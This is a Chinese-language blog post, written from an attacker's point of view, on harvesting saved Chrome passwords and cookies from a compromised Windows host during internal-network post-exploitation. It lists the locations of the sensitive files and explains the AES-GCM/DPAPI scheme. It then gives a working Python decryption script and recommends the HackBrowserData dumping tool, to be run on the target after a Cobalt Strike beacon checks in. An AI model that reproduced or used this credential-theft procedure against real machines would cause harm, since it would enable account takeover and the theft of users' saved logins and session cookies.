chrome浏览器cookie及密码解密

写在前面:在我们进行内网信息收集的时候,控制了一台windows主机,一定需要继续进行信息收集,目标主机的浏览器中缓存的账户名,密码,浏览历史也是我们收集的重点之一,本文主要是介绍如何通过我们在目标主机上找到的chrome文件来获取用户的密码、cookie。

chrome中的敏感文件位置

当chrome<80.x版本时,仅仅使用dpapi进行解密就行,在chrome>=80.x时使用的是AES-256-GCM的AEAD对称加密。本文主要是讲chrome如何实现此加密算法。

首先我们得清楚,在chrome中的敏感文件存储的位置。

chrome的cookie存储的位置是

1
C:\Users\Thinkpad\AppData\Local\Google\Chrome\User Data\Default\Cookies

chrome的浏览器历史文件History存储的位置是

1
C:\Users\Thinkpad\AppData\Local\Google\Chrome\User Data\Default\History

chrome的登陆账号密码文件Login Data文件存储位置是

1
C:\Users\Thinkpad\AppData\Local\Google\Chrome\User Data\Default\Login Data

chrome中存储加密key的位置是

1
C:\Users\Thinkpad\AppData\Local\Google\Chrome\User Data\Local State

其中Cookies、History、Login Data是SQLite3文件,其中大部分文件是可以直接看见的,对于具体cookie值和账号密码是使用encrypted_value、password_value来进行存储具体存储形式见下图

img

在此处我们先来了解下密文的格式。在密文的前三个字符是v10(chrome的cookie都是用的此加密开头),在后面的

12个字符是nonce,在之后的才是真正的密文

而Local State则是一种json格式的文件

img

其中os_crypt的encrypted_key的值中保存着需要用到的解密密钥。

具体加密过程

这里是chrome的具体加解密文件。

变量含义

img

1、密钥存储的json位置

2、密钥的长度

3、nonce的长度

4、最后密文的版本前缀

5、对key的加密算法前缀

具体代码

img

1、其中执行的核心代码是

img

即申请一个静态变量encryption_key

2、初始化key

img

初始化key的具体步骤:

随机生成kKeyLength长度的key–>用dpapi加密key–>key的最前面添加’DPAPI’–>base64编码key–>保存进json文件

3、随机生成kNonceLength长度的nonce

4、将nonce插入到密文的前缀(这就是我们看见的那十二个字符的nonce)

5、将版本号插入到密文的前缀

最后在看下整个加密流程

img

解密流程

使用之前请安装

pip install cryptography

此python脚本在windows下运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes


def dpapi_decrypt(encrypted):
import ctypes
import ctypes.wintypes

class DATA_BLOB(ctypes.Structure):
_fields_ = [('cbData', ctypes.wintypes.DWORD),
('pbData', ctypes.POINTER(ctypes.c_char))]

p = ctypes.create_string_buffer(encrypted, len(encrypted))
blobin = DATA_BLOB(ctypes.sizeof(p), p)
blobout = DATA_BLOB()
retval = ctypes.windll.crypt32.CryptUnprotectData(
ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
if not retval:
raise ctypes.WinError()
result = ctypes.string_at(blobout.pbData, blobout.cbData)
ctypes.windll.kernel32.LocalFree(blobout.pbData)
return result

encrypted_txt = base64.b64decode('djEwS/5dxDCXaTsRRJkiZohykDrUJ3sbhd6liWO98+4GmGdA7RJ3GXw=')//原始数据的base64编码形式
encoded_key = 'RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACndkJq2ysFTriHlfW0nUWtAAAAAAIAAAAAAANmAADAAAAAEAAAAKC1hRGlISNIKzcIVQIfSiIAAAAABIAAAKAAAAAQAAAA6Nq3v8LZfNmbwZi0krzKBCgAAACZD/ab6dhDiCscPTusjXTYmT9Ht/ohQNIQ6WG+VYPjyDZasXsxbNbmFAAAAJ4WfytFybhjSIuPgxCzB9gvyLUc'//Local State中保存的encrypted_key
encrypted_key = base64.b64decode(encoded_key.encode())
encrypted_key = encrypted_key[5:]
key = dpapi_decrypt(encrypted_key)
nonce = encrypted_txt[3:15]
cipher = Cipher(algorithms.AES(key), None, backend=default_backend())
cipher.mode = modes.GCM(nonce)
decryptor = cipher.decryptor()
result = decryptor.update(encrypted_txt[15:])
print(result)

通过此方法就可以获得chrome下保存的密码了。

后记

在此处推荐一个个人觉得好用的dump浏览器密码的工具————–HackBrowserData

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS C:\test> .\hack-browser-data.exe -h
NAME:
hack-browser-data - Export passwords/cookies/history/bookmarks from browser

USAGE:
[hack-browser-data -b chrome -f json -dir results -e all]
Get all data(password/cookie/history/bookmark) from chrome

GLOBAL OPTIONS:
--verbose, --vv Verbose (default: false)
--browser value, -b value Available browsers: all|chrome|edge|firefox (default: "all")
--results-dir value, --dir value Export dir (default: "results")
--format value, -f value Format, csv|json|console (default: "json")
--export-data value, -e value all|cookie|history|password|bookmark (default: "all")

此工具是用go写的,所以可以直接生成windows下的exe文件,当我们cs上线目标后,在目标主机上运行此文件就可在同目录下生成账户密码和cookie了,此exe文件6.1M。

参考文章

1、Chrome浏览器Cookie及密码解密的分析过程及Java实现(Windows平台下v10及以上Cookie文件encrypted_value及Login Data文件password_value的解密

2、Chrome 80.X版本如何解密Cookies文件